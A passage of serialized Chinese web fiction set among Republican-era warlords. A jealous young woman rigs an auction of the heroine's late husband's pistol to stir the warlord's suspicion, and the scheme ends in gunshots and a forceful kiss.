少女拉住白振棠的手臂,声音欢快,“城隍庙那边的杂耍班子什么时候开始呀?我和敏敏等不及想去看了!”
白振棠哭笑不得,略带歉意地对晏山青道:“督军见笑了,这是小女珍珍,被我惯坏了,没大没小。”
又转头对女儿道,“珍珍,没看见爹在招待贵客吗?太失礼了!”
白珍珍吐了吐舌头,她身后还跟着一个年纪相仿的女孩,她拉着女孩的手臂,对白振棠说:“爹爹~敏敏特意从南川来找我玩,我不能让她失望~”
说着又把身边那个穿着蓝色洋装的女孩往前带了带,“爹爹,这就是我经常跟你提起的,我在南川的好朋友,万敏敏。”
江浸月原本专注地看底下的表演,冷不丁听到这个名字,下意识转头。
一看,还真是万国军的女儿。
万敏敏也看到了江浸月,脸色不太自然,但紧接着,她的目光就被一旁的晏山青吸引过去。
……这就是那个取代沈霁禾的晏督军?
她以前没见过晏山青,只听说是个杀人不眨眼的活阎罗,没想到他竟然长得这么……英俊。
跟江泊禹完全不同的男人,有种扑面而来的野性和危险,却要命地吸引人。
万敏敏激动得脸颊红扑扑的,连忙故作乖巧地行礼:“白伯伯好。”
白振棠笑着说:“诶,好,玩得开心啊。珍珍,杂耍班子应该要开始表演了,你们去看吧,小心点。”
“好!”
白珍珍又拉着万敏敏跑开,江浸月也收回在万敏敏身上的目光,只当作是个小插曲,并未放在心上。
万敏敏一边被拉着走,一边忍不住低声问白珍珍:“珍珍,江浸月……不,就是晏夫人和督军怎么会来西江?”
白珍珍随口道:“听我爹爹说,好像是督军府里刚处置了一个敢顶撞夫人的小妾,督军就带夫人出来散散心。”
万敏敏若有所思地回头去看那个高大挺拔的身影,越看越觉得心动。
而越心动,她就越嫉恨江浸月!
凭什么好事都让她占尽!
从前那个沈霁禾就算了,二嫁给晏山青,不仅是南川和东湖两个重省的督军,手握重兵,权势滔天,还生得如此英武不凡,她真是好命!
这督军府刚没了一个小妾,岂不是空出一个位置?那她万敏敏为什么不可以顶上去?
她有哪点比不上江浸月这个二嫁的破鞋?她都可以坐到督军夫人的位置,她只是要一个小妾的位置,还不是手到擒来?
王敏敏的野心如同野草,在她心里疯狂生长。
……
这个开年宝宴从白天一直热闹到晚上。
夜晚的西江更是精彩,街道两旁挂满了各式各样的花灯,戏台上锣鼓开场,名角开演,戏台下人头攒动,小贩们吆喝着卖糖人、瓜子、桂花糕,烟火气十足。
晏山青和江浸月坐在前排看戏,正唱到精彩处,白振棠就带着几个人走过来,脸上带着一种微妙的笑意:
“督军,有个人,想介绍给您认识一下,或许对您日后有用。”
他语气意味深长,晏山青挑眉,看了他一眼,又看向身旁正专注看戏的江浸月,抬手将自己的外套脱下,披在她肩上:
“我去去就回,你先自己看。”
江浸月拢了拢带着他体温和气息的外套,笑着点头:“好。”
白振棠道:“夫人若是一个人无聊,我让商会的陈经理陪您看会儿戏,他是我们西江有名的戏篓子,戏文故事门儿清!”
说着,就对身后一人示意。
那人应声上前一步,微微躬身:“夫人。”
灯光下,那人的面容清晰,江浸月和正准备离开的晏山青都愣了一下。
这个男人……
长得居然有点像,沈霁禾!
第65章 万敏敏的阴谋算计
有……五六分像。
只是气质更偏文弱一些,穿着得体的西装,很是体面。
男人看到江浸月,也是一怔,随即露出一抹温和的笑容,声音清润好听:“原来是表嫂,许久不见了。”
晏山青眼神倏地冷了下来:“叫谁表嫂?”
男人便改口:“督军夫人,督军。”
江浸月喊:“文轩。”
沈家的亲戚,沈霁禾的亲表弟,陈文轩。
晏山青没再看陈文轩,只对白振棠冷声道:“走吧。”
他们走后,陈文轩看着江浸月的眼神变得复杂:“没想到竟然在西江见到表嫂。”
晏山青跟着白振棠去了二楼,上楼梯时,他突然回头朝江浸月的方向看了一眼。
正好看到陈文轩在江浸月身旁的位置坐下,侧着头,跟她说着什么。
江浸月认真听着,神情在灯光下显得格外柔和。
晏山青眼神一暗,语气分辨不出喜怒:“白爷从哪儿找来的经理?长得真像我的一位故人。”
白振棠先是一愣,随即反应过来晏山青的意思,也迅速回头看了一眼,而后连忙解释:
“督、督军!您千万别误会,我绝对没有其他意思!文轩他好几年前就在我的商会做事了,能力不错,我经常带他出来应酬,我真没往那方面想啊!”
晏山青:“什么误会?什么方面?白爷在说什么,我怎么听不懂了。”
白振棠冷汗都要下来了,手忙脚乱地还想继续解释:“督军,我……”
晏山青却已经收回目光,不再听他说话,径直走上楼。
“……”白振棠擦了擦额角的冷汗,心惊胆战地跟上去,同时在心里骂自己得意忘形,怎么会犯这种低级错误……
他们谁都没注意到,楼梯下方,万敏敏走了出来,她将晏山青那句带着冷意的“长得真像我的一位故人”听得一清二楚。
她看向戏台前,嘴角慢慢勾起一抹算计的弧度。
好啊,连老天爷都在帮她。
她的机会来了!
……
戏台上,浓墨重彩的旦角正欢快地唱着花好月圆的词调。
陈文轩坐在江浸月身旁,保持着恰到好处的距离。
江浸月道:“之前就听你表哥提过你在西江做事,没想到这么巧,是在白爷的手下。”
陈文轩唇角牵起一抹自嘲的弧度:“我不比表哥,他才能出众,又有家里托举,年纪轻轻便执掌一方。我只能靠自己这点本事,在西江赚些养家糊口的辛苦钱罢了。”
江浸月温声:“你能得到白爷的器重,就足以说明你很优秀,又何必妄自菲薄?”
陈文轩笑了一笑,没再说什么,只是低声问:“表嫂,你真的,嫁给晏督军了?”
“是的。”江浸月回答得干脆。
陈文轩沉默片刻,再开口时,语气带上了几分……同情?
“辛苦你了。男人的成王败寇,最终的后果却要女人来承担,不过好在晏督军看起来对你还算不错,你的日子也能过下去。”
江浸月闻言有些意外,转头看向他。
他以为……她是沈霁禾兵败后,被晏山青强行占有,才被迫改嫁给他的?
她不由得问:“你居然不认为,是我勾结晏山青,出卖霁禾,才导致他兵败身死的?你要知道,几乎整个南川的人都是这么说的。”
陈文轩的目光重新投向戏台,看着上面演绎的悲欢离合,声音平静,带着一种看透世事的苍凉:
“古往今来,人们总是很喜欢把一个王朝的破碎归根在女人身上。商朝怪妲己,西周怪褒姒,唐朝怪玉环……仿佛没有这些‘红颜祸水’,江山就能永固似的。”
他轻笑着摇头,“但在这种时代洪流下,一个女人,一个内宅妇人,又能真正做什么呢?说到底,不过是身不由己的受害者罢了。”
江浸月心头像是被什么东西轻轻撞了一下。
……这么久了,除了她的家人,这是第一次有人对她说,“不是你的错”。
陈文轩不仅长得像沈霁禾,品性也很像呢。
·
万敏敏一直在暗中观察,终于等到晏山青下楼。
她脸上立刻堆起天真无邪的笑容,几步走到江浸月面前,张嘴就喊:
“姐姐!你们聊什么聊得这么开心呀……啊!姐夫?你没死?!”
她一副才看到陈文轩的样子,错愕地捂住自己的嘴,“……不对,不对不对,你不是我姐夫……”
她又转向江浸月,语气变得意味深长,“难怪姐姐跟他聊得这么开心,原来是触景生情了啊。”
江浸月端坐在椅子上不动,语气疏离:“万小姐,我什么时候成了你姐姐?你乱认什么亲戚?这位是白爷安排来给我讲戏的陈经理,我们不过闲聊两句,你在大惊小怪什么?”
万敏敏眼角的余光瞥见晏山青越走越近,故意提高了音量:“可他长得确实很像姐夫啊!姐姐,你要不是因为他长得像姐夫,怎么会跟他聊这么久?姐姐心里是不是还没放下姐夫呀?”
刚走近的晏山青,正好将万敏敏这最后一句话听了个一清二楚,脸色骤冷。
他直接呵斥一声:“你又算个什么东西敢在这里质问我的夫人!”
他杀伐决断,气场根本不是万敏敏扛得住的,他一开口,她顿时吓成了鹌鹑!
晏山青目光如刀:“管好自己的嘴,再有下次,我找你爹问罪!”
“……”万敏敏脸上红一阵白一阵,又怕又惧,说不出一个字……
晏山青不再看她,转向江浸月,语气平淡:“不早了,这热闹就看到这里吧,夫人,我们该回去了。”
江浸月能感觉到他周身散发的低气压,点了点头:“好。”
两人向白振棠告辞,直接离开戏台,陈文轩也告辞离开。
万敏敏看着他们相偕离去的背影,虽然她刚才被晏山青骂了,但又觉得只有这样霸气的男人才配得上她,她一定要成为他的妾!
她眼珠一转,去找白珍珍。
“珍珍……”
万敏敏挤出一个担忧的表情,“你认不认识一个叫陈文轩的人啊?”
白珍珍脸上突然飞起两朵红云,眼神都亮了几分,带着小女儿的娇羞:“认识呀,文轩哥人很好的,又有才华……你问他干什么呀?”
万敏敏看着白珍珍这个反应,就想起白珍珍之前跟她说过,她喜欢她爹手下的一个人……看来就是这个陈文轩了。
她故作迟疑道:“我觉得他好像跟督军夫人的关系不一般……”
白珍珍立刻道:“绝对不可能!你不知道,文轩哥是沈霁禾的表弟,他跟督军夫人就是表嫂和表弟的关系而已!”
万敏敏这才知道,陈文轩和沈霁禾竟然是表兄弟!
她心里瞬间有了一个歹毒的主意,脸上却硬是挤出一个可怜无助的神情:“珍珍,你不知道,我姐姐嫁给了她大哥,按理说我们也是一家人,可是晏夫人对我有些误会,很不喜欢我……”
“我想跟她修复关系,如果能找到她喜欢的东西送给她,投其所好,说不定能让她接纳我,否则的话……”
她眼泪就掉了下来,“她现在可是督军夫人,要是她一直讨厌我,我、我以后在南川还怎么过日子啊,呜呜呜……”
白珍珍心思单纯,见她哭得可怜,连忙安慰她:“你别哭啊,那你想送她什么?我能帮你吗?”
万敏敏擦着眼泪,试探着问:“我想知道,陈文轩那里有没有他表哥,也就是沈督军的东西?”
第66章 江浸月到底想干什么
从喧闹的宝宴现场返回陈官公馆的路上,车内气氛有些凝滞。
窗外的灯火飞速向后掠去,映得晏山青的侧脸轮廓忽明忽暗。
江浸月能感觉到身边男人周身散发出的冷气,也猜得到可能是因为陈文轩,她斟酌了一下,主动打破了沉默:“督军,白爷带您去见的是什么人啊?”
晏山青眼神淡淡地落在窗外:“不关你的事。”
“……”江浸月被噎了,索性也不说话了,直接将头转向自己这边的车窗。
她也不是没脾气的人。
虽然现在要靠他过日子,但他总不能因为她偶遇了亡夫的表弟,或是因为亡夫的表弟长得像亡夫,就把她给发落了吧?
不会影响到自身和江、沈两家命运的事,江浸月就不会无底线捧着他,否则就是软弱、窝囊、谄媚。
她从来就不是这样的人。
车内再次陷入安静。
过了一会儿,就在江浸月以为晏山青会一直沉默到公馆时,他却又开了口:“见了西江海关的负责人,还有两个从北边来的军火中间商。”
江浸月侧头看他,幽幽问:“督军刚才不是说不告诉我吗?”
晏山青终于转过头,目光沉沉地锁住她,带着一种审视的锐利:“现在又想告诉你了。所以,你跟你那位表弟,刚才聊了什么?”
原来在这儿等着她呢。
江浸月迎着他的目光,坦然回答:“没聊什么。他问了我的近况,我问他在白爷手下做得如何,他又感慨了几句男人成王败寇,却让女人承担后果之类的话。”
“就这些?”晏山青不信,“你不觉得他长得很像谁吗?”
江浸月更加大方地看着他,眼神清澈,话也直白:“沈霁禾长得像他的母亲,他的母亲和陈文轩的母亲是亲姐妹。表兄弟之间有几分相似,不是很正常吗?沈家兄弟姐妹不少,眉眼间都有相似之处,这也并不稀奇吧?”
晏山青冷声:“没有触景生情吗?”
江浸月想了想,说:“我嫁给沈霁禾三年,几乎跟着他走遍南川的每一寸土地,若是要触景生情,我岂不是每时每刻、走到哪里都在触景生情?”
“督军要是真这么介意我想起以前的事,那不如把我带去东湖,我从未去过东湖,一定不会被勾起什么回忆。”
……说得也是。
晏山青抬手捏了捏眉骨,有些没由来的燥。
江浸月看他的样子,嘴角忽然弯起一抹弧度,试着问:“督军是吃醋了吗?”
晏山青突然瞪她!
那样子,十分像被摸了屁股的老虎,凶悍得可怕,但细看他的耳根却是红的,于是就显得没那么吓人了。
江浸月眼睛一眨不眨地看着他,他被她看得,不自然地转过头看向窗外,只留给江浸月一个硬朗的后脑。
“东湖人,不爱醋。”
江浸月忍不住笑出声,但见好就收,不敢穷追猛打,免得他恼羞成怒,于是只是轻飘飘地“哦”了一声,又重新看向窗外。
车厢里的气氛无形地松弛下来,晏山青身上的低气压也消散了大半。
等到车子停在陈官公馆门口,晏山青率先下车,却又站在车边,等江浸月下来后,才一起走进公馆。
虽然他还是没什么表情,但江浸月知道,这一关,自己应该过去了。
……
次日上午,阳光正好。
江浸月吃了早餐,在公馆的前院散步消食,顺便思索着一件什么事。
忽然,一阵风吹过,一张纸片打着旋儿飘到她的脚边。
江浸月弯腰捡起来,是一张拍卖会的宣传单,她正打算随手丢进垃圾桶,目光却无意间瞥见上面印着的一件拍品——
那是一把造型精致的柯尔特手枪,图片下还标注了一行字,前南川督军沈霁禾先生贴身佩枪。
江浸月的心猛地一沉!
这把枪她认得,的确是沈霁禾的东西,后来送给了陈文轩,陈文轩怎么可能把它拿出来卖??
她思绪纷乱,身后忽然传来晏山青的声音,带着刚处理完军务的慵懒:
“夫人准备什么时候动身回南川?”
江浸月心头一跳,几乎是下意识地,将那张传单揉成一团,藏在身后!
晏山青敏锐地捕捉到她藏匿的小动作,眼眸眯起:“怎么了?”
江浸月眼睫闪了一下,直接跳过他这个问题,回答前面那个:“什么时候回去,能听我的吗?”
晏山青朝她走近两步,意味不明道:“我不是带你来散心的么?你的心散好了,我们就回去。没散好,就继续散。”
他靠得有些近,带着压迫感,江浸月甚至能闻到他身上的沉香味。
她不动声色地往后退了半步,拉开一点距离:“督军别拿我开玩笑……您和白爷的交易已经谈好了吗?”
“今天正要谈。”
“那就等督军谈完正事,我们再安排回去的事。”江浸月从容接话,随即自然地转移了话题,“对了督军,我今天想出去逛逛,买些西江的特产带回去。”
晏山青盯着她看了两秒,终于挪开视线:“可以,你去吧,需要用钱,直接去书房拿。”
“好。”江浸月应下,转身进屋。
她一离开,晏山青脸上的漫不经心便收了起来,眼神有些深沉。
江浸月很快换了一身藕荷色旗袍,外套一件羊毛披肩,提着小包,离开公馆。
一直蹲守在公馆附近的万敏敏,看到江浸月独自出门,嘴角立刻勾起一抹得逞的笑。
她迅速整理了一下衣裙,摆出天真无邪的表情,快步走到公馆大门前,叩响了门环。
来开门的是佣人,万敏敏拔高音量:“麻烦通报一声,我是万敏敏,要找晏夫人。”
没等佣人回话,晏山青的声音便从里面传出来:“你有事?”
他走到门廊下,没什么表情地看着她。
万敏敏心下一喜,果然吸引他主意了!
她立刻冲着他扬声喊道:“晏督军!我是来找我姐姐的!昨晚姐姐约了我今天一起去拍卖会玩儿,我是来接她的。”
说着,还十分逼真地探头往里面看,“姐姐呢?还没准备好吗?”
晏山青嗤笑:“你们昨晚都差点吵起来了,她还会约你出门玩?”
“……”万敏敏干笑两声,“督军您这话说的,我们好歹也是一家人,都是说笑的话,姐姐不会放在心上的。我姐姐人呢?”
“她出去了。”
“她出去了?”万敏敏故作惊讶,“难道是先去了拍卖会?姐姐也太心急了!虽然那个拍卖会上有她很想要的东西,但说好了一起去的,怎么也不等等我呀!”
江浸月很想要的东西?
晏山青想起她早上那遮遮掩掩的样子,有些玩味儿地问:“什么东西?”
万敏敏眼神闪烁,支支吾吾:“这个……就是些女人家喜欢的小玩意儿,没什么大不了的,督军千万别多想……那我先去拍卖会找我姐姐了哈。”
万敏敏的演技挺拙劣的,但晏山青倒是真的好奇,江浸月到底想干什么?
“正好,我今天也没什么事,就跟你去这个拍卖会看看。”
第67章 说!是谁指使你们害我?!
这家拍卖行在西江颇有名气,经常会过手前朝古董、宫廷宝贝和舶来货。
晏山青一到,拍卖行的经理就得了消息,马上迎了出来,点头哈腰地将他们请上二楼的雅座。
万敏敏跟在晏山青身后,享受着众人敬畏的目光,身心飘飘然,越发坚定了一定要攀上晏山青这根高枝儿的决心!
二楼的雅座视野极佳,晏山青落座后,目光扫过楼下,很快就在人群中找到那个戴着白色面纱的身影。
她还真的在这里。
晏山青不动声色地点了根烟,烟雾袅袅中,他的眼神深不见底。
拍品一件件过去,珠宝古玩,钟表绸缎,气氛都是不温不火的。
直到拍卖师清了清嗓子,提高音量:“下一件拍品,一把柯尔特M1911手枪,它的特别之处就在于,它曾是前南川督军沈霁禾先生的贴身佩枪!”
台下起了一阵小小的骚动。
江浸月的背脊也挺直了些。
拍卖师:“起拍价,五百大洋!”
“六百!”江浸月第一个举牌。
立刻有人跟上:“七百!”
“八百!”
“一千!”江浸月再次加价。
竞争就此在江浸月和一个中年男人之间展开,价格一路飙升,很快就突破两千大洋。
私下的议论声也渐渐响起,其他人都在猜测,这把手枪为什么能引得两人如此争夺?
难不成是沈霁禾的朋友?想留作纪念?还是……别的什么关系?
这时,经理亲自端着果盘上楼:“晏先生,招待不周,还请见谅。”
晏山青没说话,万敏敏转了转眼珠子,故作好奇地问:“经理,这把枪是什么来头啊?怎么这么抢手呢?”
拍卖师早就介绍过这把枪的来历,但客人有问题,经理就还是尽责地回答:“这是前南川沈督军的爱物,意义非凡。”
万敏敏惊讶:“原来是沈霁禾的东西啊,难怪姐姐这么志在必得。”
晏山青夹着烟的手搭在膝盖上,一动不动,脸上也看不出什么表情。
万敏敏边说边悄悄靠近晏山青,手臂似有若无地挨着他的胳膊,见他没有推开,心中暗喜,添油加醋道:
“看来姐姐心里还是放不下沈霁禾啊,否则也不会连他的东西都这么割舍不下,两千大洋,买什么不好,买一把枪。”
晏山青没说话,只是夹着烟的手指微微收紧,目光始终落定在楼下那个纤细的身影上。
楼下的竞价还在继续。
“两千五百!”男人喊道。
“两千六百!”江浸月又跟价。
“两千八百!”男人似乎志在必得。
“三千!”江浸月的声音依旧平稳。
价格到了三千大洋,已经远超一把手枪本身的价值,场内一片哗然,都在震惊这个天价,也都在激动这个天价,毕竟能亲眼见证历史的发生,谁能不雀跃?!
那男人再次举牌:“三千五百大洋!”
所有人都看向江浸月,都以为她会再次加价到四千。
然而,江浸月却站起了身,声音穿透面纱,十分清晰:“等一下。”
全场安静下来。
她看着拍卖师,言语清晰道:“拍卖行的规矩,出价人要确保自己有相应的资金,不得恶意抬价,否则视为破坏交易,要承担拍卖行的损失。这位先生出价三千五百大洋,我要求验资,确保他有支付的能力。”
那男人一愣,随即恼怒:“你什么意思?老子当然出得起!”
江浸月不理他,直接看向一旁的拍卖行老板:“王老板,我记得拍卖行的规矩,参与竞拍,需要有银行或银号担保,对吗?”
王老板下意识点头:“是、是啊。”
“你们拍卖行能纵容他接连出价,也就是说,他确实是有担保?”江浸月追问,“无论他喊出多高的价,都能当场签合同付清款项,对吗?”
“……是的。”
江浸月微笑:“好,大家也都听到了,这位先生说自己有钱,拍卖行老板也说这位先生有钱,如果最后这位先生拿不出钱,那我就要怀疑他们是串通好的,故意抬价。”
“大家以后还要不要再来这家拍卖行消费,可就要仔细斟酌了,免得被当羊宰。”
其他客人纷纷点头,确实是这个道理。
拍卖行能串通一次,就能串通第二次第三次,谁知道下个冤大头会不会是自己?
江浸月目光清锐地看着老板:“老板,你的说辞,还是不改变吗?”
老板被她说得额头冒汗……但要是现在改口,也是把他们拍卖行的信誉踩在脚底,以后照样做不成生意!
他紧张地咽口水,下意识看向二楼……
二楼,晏山青看到这一幕,身体突然松弛下来,身体随意地靠在椅背上,目光已经转变为看戏。
而他身旁的万敏敏,对老板狠狠使了个眼色——怕什么?!
她江浸月就是在吓唬人罢了!
她三千大洋都敢出,怎么可能不继续跟价?只要他们现在顶住了,等江浸月下次出价,他们就不要了,那付款的就是江浸月,关他们什么事?
老板硬着头皮说:“是……是的!他有担保,他出得起价!”
那男人不耐烦地拍桌子:“废话真多!出得起就出,出不起就滚蛋!”
江浸月忽地一笑,隔着面纱也能感觉到那笑容的冷意:“好。我出不起。我不要了。”
!全场都是一惊!
那男人脸上的嚣张瞬间僵住,眼睛瞪得老大:“什、什么?”
“没听清吗?我说我不跟了,所以最后一次有效出价是你,三千五百大洋。拍卖师,落槌吧。”
拍卖师也愣住了,看看男人,又看看江浸月。
江浸月催促道:“落锤啊。难道拍卖行的规矩是儿戏吗?”
拍卖师一个激灵,下意识地敲下了木槌:“成交!恭喜这位先生,以三千五百大洋购得此件拍品!”
两位礼仪小姐立刻端着托盘上前,一个放着那把枪,另一个放着买卖协议和钢笔。
江浸月好整以暇道:“签吧。不过你要想清楚,签了字,这笔钱你就得认。即便卖房卖地、卖儿卖女、砸锅卖铁,你也得把这笔钱凑出来。否则——”
她看向老板,“拍卖行追债的手段,想必不用我多说吧?是不是啊,老板?”
老板冷汗涔涔,只能点头:“是、是……”
那男人看着眼前的协议,手抖得像筛糠,拿起笔,却怎么也落不下去。
“签。”江浸月如同催命阎罗。
“我……我……”男人手一软,钢笔“啪嗒”掉在地上,他慌忙弯腰去捡,十分狼狈。
“捡起来,签。”江浸月语气平淡,“签了,你倾家荡产也赔不起。不签,你试试看能不能走出西江!”
男人心理防线彻底崩溃,猛地将钢笔狠狠摔在地上!惊慌失措地大喊:“不签!我不签!我没钱!是你!是你给我下套!”
江浸月冷笑一声:“价是你自己叫的,众目睽睽,谁能给你下套?”
她又转向同样脸色发白的拍卖行老板,厉声质问,“你口口声声说有担保,验过资,他现在说他没钱,你怎么解释?是不是你和他串通好了,故意做局坑人?”
“我没有!我……”老板慌忙摆手,语无伦次。
江浸月倏地伸手拿起那把柯尔特手枪,动作快得惊人!
她咔嚓一声利落上膛,枪口直指男人和拍卖行老板,眼神锐利如刀,周身气场全开,声音冰冷彻骨,响彻整个拍卖场:
“说!到底是谁在背后指使你们,设下这个局来算计我?!”
第68章 督军!江浸月心里没有您!
那个中年男人哪见过这阵仗啊!
被枪一指,就吓得噗通一声跪倒在地,再也没有刚才叫嚣的气势,磕头如捣蒜:
“饶命!饶命啊!我说!我全都说!”
“我、我就是个拉黄包车的,有人给了我三十块大洋,让我今天来这里,等这把枪出来,有个女人叫价,我就跟着抬价,把价钱抬得高高的就不叫了,让那女人当冤大头,事成之后再给我七十块大洋!”
“我就是一时鬼迷心窍,所以才、才……我真的不知道会这样啊!我赔不起啊,求您饶了我吧!”
他边说边从怀里掏出几块银元做证。
江浸月又将枪口转向面如土色的拍卖行老板,声音更冷:“他交代了。你呢?”
老板不是车夫这种一吓唬就方寸大乱的人,他好歹是见过世面的,强作镇定地狡辩道:“夫人,这、这我真不知情啊,他就是个客人,我哪知道他其实……”
“不知情?”
江浸月冷笑,“没有你的里应外合,他连这拍卖行的大门都进不来。你刚才口口声声担保他有钱,现在又说不知情?”
在场的其他客户也按捺不住了,纷纷出声:
“刘老板,你这就不地道了吧!串通人抬价,把我们当冤大头啊?”
“怪不得上次那幅画拍出天价,是不是也是你们做局搞的鬼?”
“以后谁还敢来你们这儿买东西啊!”
老板脸色惨白,慌忙摆手:“没有!绝对没有!就、就这一次……”
江浸月立刻抓住他的话柄:“所以,这次,是谁指使的?”
老板嘴唇哆嗦,眼神闪烁,却死死咬着牙不敢说。
在二楼看完整场戏的晏山青,长腿一伸,起身,明显是要下楼。
万敏敏下意识想阻拦,但又没有理由,也不敢,只能硬着头皮跟在他身后一起下楼。
“看来,是西江了不得的大人物,让你王老板都不敢开口。”
众人循声望去,只见晏山青缓步走下楼,皮鞋踏在木梯上发出沉闷的声响。
而万敏敏眼神闪烁,心虚地跟在他身后。
江浸月看到晏山青,眸光微动,有些意外,再看到他身后的万敏敏,心下顿时了然。
晏山青走到江浸月身边,垂眼看瑟瑟发抖的王老板:“说说看,是谁。我也好奇。”
老板苦着脸,几乎要哭出来:“晏督军,求您别问了,说出来,对您、对大家,都不好……”
“哦?”晏山青挑眉,像是听到了什么有趣的话,“对我也不利?那我更得知道了。”
他声音陡然冷了下来,雷霆万钧:“说!”
老板却依旧紧闭着嘴,汗如雨下。
晏山青眼神一凛,没了耐心,一把抓住江浸月持枪的手,带着她的手一起扣动扳机——
砰!
子弹精准地打在老板的大腿上!!
“啊!!”老板惨叫一声,摔倒在地,抱着腿哀嚎!
人群发出一阵惊呼!江浸月也倏地转头看向晏山青!
他侧脸线条冷硬,下颌紧绷,握着她的手干燥而有力,满满都是掌控感。
“我最讨厌别人挑战我的耐心。”晏山青声音冰冷。
趁着这混乱,万敏敏悄悄挪动脚步,想往人群外溜。
“是白爷的女儿!白珍珍!”老板终于崩溃,嘶声大喊。
白振棠是这西江一霸,难怪王老板不敢供出他的宝贝独生女。
但,江浸月眯眼:“白珍珍?我跟她无冤无仇,甚至素不相识,她为什么要这么害我?”
王老板哭道:“我不知道啊!白小姐说我只要睁一只眼闭一只眼,放这个男人进来叫价,反正最后买单的是其他人,对我而言没有任何损失,我得罪不起白家,所以只能答应!”
江浸月和晏山青对视一眼,都很疑惑。
江浸月瞥见万敏敏鬼鬼祟祟的身影,转口问:“是白珍珍亲口对你说的,还是有人用她的名义说?”
王老板脸色惨白道:“是、是白小姐的朋友说的……”
果然如此。
江浸月道:“恐怕是有人假借她的名头,兴风作浪。”
话音落下,她手腕一转,反过来握住晏山青的手,带着他朝着那个即将溜出视线的身影的地面,又是砰!的一枪!
“啊!”
子弹打在万敏敏身边的地板上,吓得她直接摔倒在地!
江浸月握着晏山青的手缓缓放下,枪口还冒着硝烟,她的眼神更加锐利:“妹妹,戏还没完,你这是要去哪儿?”
晏山青低头,看自己被她握住的手,再看向她清冷的侧脸,眼神深邃。
万敏敏魂飞魄散,坐在地上涕泪横流,语无伦次地哭喊:“我只是、只是开个玩笑!开玩笑而已!”
“开玩笑而已?”江浸月慢慢道。
“你的意思是,你从陈文轩那里偷来手枪,送到拍卖行拍卖,借此诱我上钩,再找人跟我哄抬价格,让督军看到我为了沈霁禾的旧物不惜花费重金,以此证明我对沈霁禾旧情难忘,离间我们夫妻的关系。”
“这些都只是‘开玩笑而已’?”
万敏敏被她说得,脸上血色尽褪:“你……你怎么知道得这么清楚?”
她没走漏风声啊!
她怎么跟她肚子里的蛔虫似的??
“因为我不是你这种蠢货。”
江浸月冷嘲,“从你昨晚故意在我面前演那出戏开始,我就觉得不对,一直在想,你到底想干什么?”
“结果今天就有拍卖传单送上门,我当时虽然暂时没联想到你身上,但那么明显的哄抬价格,我还是看得出来的。”
“所以当你跟督军一起走下楼梯时,我一联想,就知道是你在搞鬼。”
“……”万敏敏无法反驳,只能瑟瑟发抖,心里却是又怕又恨!
她觉得自己的计划很完美,觉得自己距离成功只差一步,可为什么会失败?
为什么?!
江浸月看了看她:“不过我倒是真想不通,你这么算计我是为什么?单纯看我不顺眼,想给我添堵?还是突然觉得督军比我大哥更配得上你万小姐,觉得离间了我们夫妻,你就有机可乘了?”
万敏敏咬唇:“我、我……”
晏山青扯了扯嘴角:“那真是承蒙万小姐抬爱了,可惜晏某不好万小姐这一口,你还是另寻良配吧。夫人,猴戏看完了,我们走。”
江浸月将那把枪放回托盘,居高临下地睥睨着万敏敏:“这把枪,你从哪里偷来的,就还回哪里去。不然等着你的,就是盗窃罪了。”
说完她就和晏山青一起转身离开。
万敏敏看着他们的背影,不甘心,她要再赌一把!
她大声喊道:“江浸月!你少在这里装清高!你心里就是还有沈霁禾!你就是还放不下沈霁禾!你骗得了别人骗不了我!”
她扑向晏山青,抱住他的大腿,声音凄厉:“督军!她刚才也承认了,她明明怀疑拍卖会有诈,可她还是来了——为什么?”
“就是因为她心里放不下沈霁禾的东西!所以哪怕有九成九的危险,为了那一丁点得到的可能,她也愿意来冒险!”
“还有刚才!刚才她也是第一个出价的!她就是很买下沈霁禾的枪!督军啊,您娶的这个女人,她心里根本就没有您啊!”
第69章 强吻!
砰!
一声枪响!
“啊——!”
晏山青的脸阴沉得能滴出水,他甚至没等万敏敏把话说完,就直接抬手一枪打在万敏敏的小腿上!
动作又快又狠戾,毫不留情!
万敏敏惨叫着,蜷缩在地上,脸色惨白。
晏山青的声音带着极度厌烦的暴戾:“我这几天打残的腿够多了,本来想饶你一命,既然你自己想找死,那我就成全你。”
万敏敏疼得浑身发抖,却还在剧痛和嫉恨的驱使下,发出癫狂的笑声。
她看着晏山青那双盛满杀意的眼睛,嘶喊道:“督军,您生气了?哈哈哈……您为什么生气?因为您知道我说的是实话!”
她的声音扭曲:“您杀了她最爱的人,她怎么可能爱您?她不仅不会爱您,指不定心里多么恨您呢!您让这么一个心里装着死人的女人睡在您身边,您小心她哪天夜里就杀了您!”
“哈哈哈哈!!”
江浸月快步上前,一巴掌扇在万敏敏的侧脸上!随后厉声喝令:“来人!”
晏山青的副官立刻出现:“夫人。”
江浸月咬着牙下令:“把这个女人送回南川,交给万国军!跟他说,他的好女儿算计督军和督军夫人,该怎么处置,他最好心里有点数!否则,他万家就要大祸临头了!”
副官下意识看向晏山青,见晏山青没说什么,立刻应了声“是”,将地上的万敏敏拖走。
江浸月和晏山青也上了车,回公馆。
一路上,她都在想该怎么解释——虽然她不认为自己哪里有错,但万敏敏那番话实在太刺耳。
到了公馆,她刚开口喊了一句“督军”,晏山青就径直下车,大步走进公馆。
江浸月犹豫了一下,跟了上去,又喊了一声“督军”。
晏山青突然转身,没给江浸月任何反应的时间,就猛地将她按在墙上!
高大的身躯带着不容抗拒的压迫感笼罩下来,他一手紧扣着她的腰,另一只手捏住她的下颌,低头狠狠攫住她微张的唇!
江浸月的眼睛骤然一睁!
这个吻毫无温柔可言,满是暴戾的惩罚与极致的占有欲,江浸月的唇间全是他灼热的气息,他在她唇齿间攻城掠地,她根本无法抗拒。
江浸月被这突如其来的袭击惊得脑中一片空白,完全是本能地抬手抵住他坚硬的胸膛,想要推开他,喉咙里发出含糊的抗拒声。
察觉到她的抵抗,晏山青的吻更加深入,带着蛮横的力道,直到彼此都尝到一丝淡淡的铁腥味,不知是咬破了谁的唇。
江浸月趁他松懈的瞬间,猛地偏开头,避开了这个充满戾气的吻。
她胸口剧烈起伏,气息不稳地开口:“督军,您冷静一点。”
晏山青的手臂依旧牢牢禁锢着她,声音沙哑而危险:“你是我的督军夫人,我不能碰你?”
“……”江浸月强迫自己冷静下来,理智迅速回笼。
她看着他说,“督军,您现在在气头上。”
“所以呢?”
晏山青嗤笑一声,捏着她下颌的手指微微用力,迫使她抬起脸看着自己。
他眼底翻涌着暗沉的火光,“之前不是想方设法想跟我圆房吗?现在我成全你,你反而不要了?”
他这话带着刺,江浸月听得出来。
“督军,您被万敏敏的话影响了,您心里明明很清楚,她说的那些事根本不可能发生。”
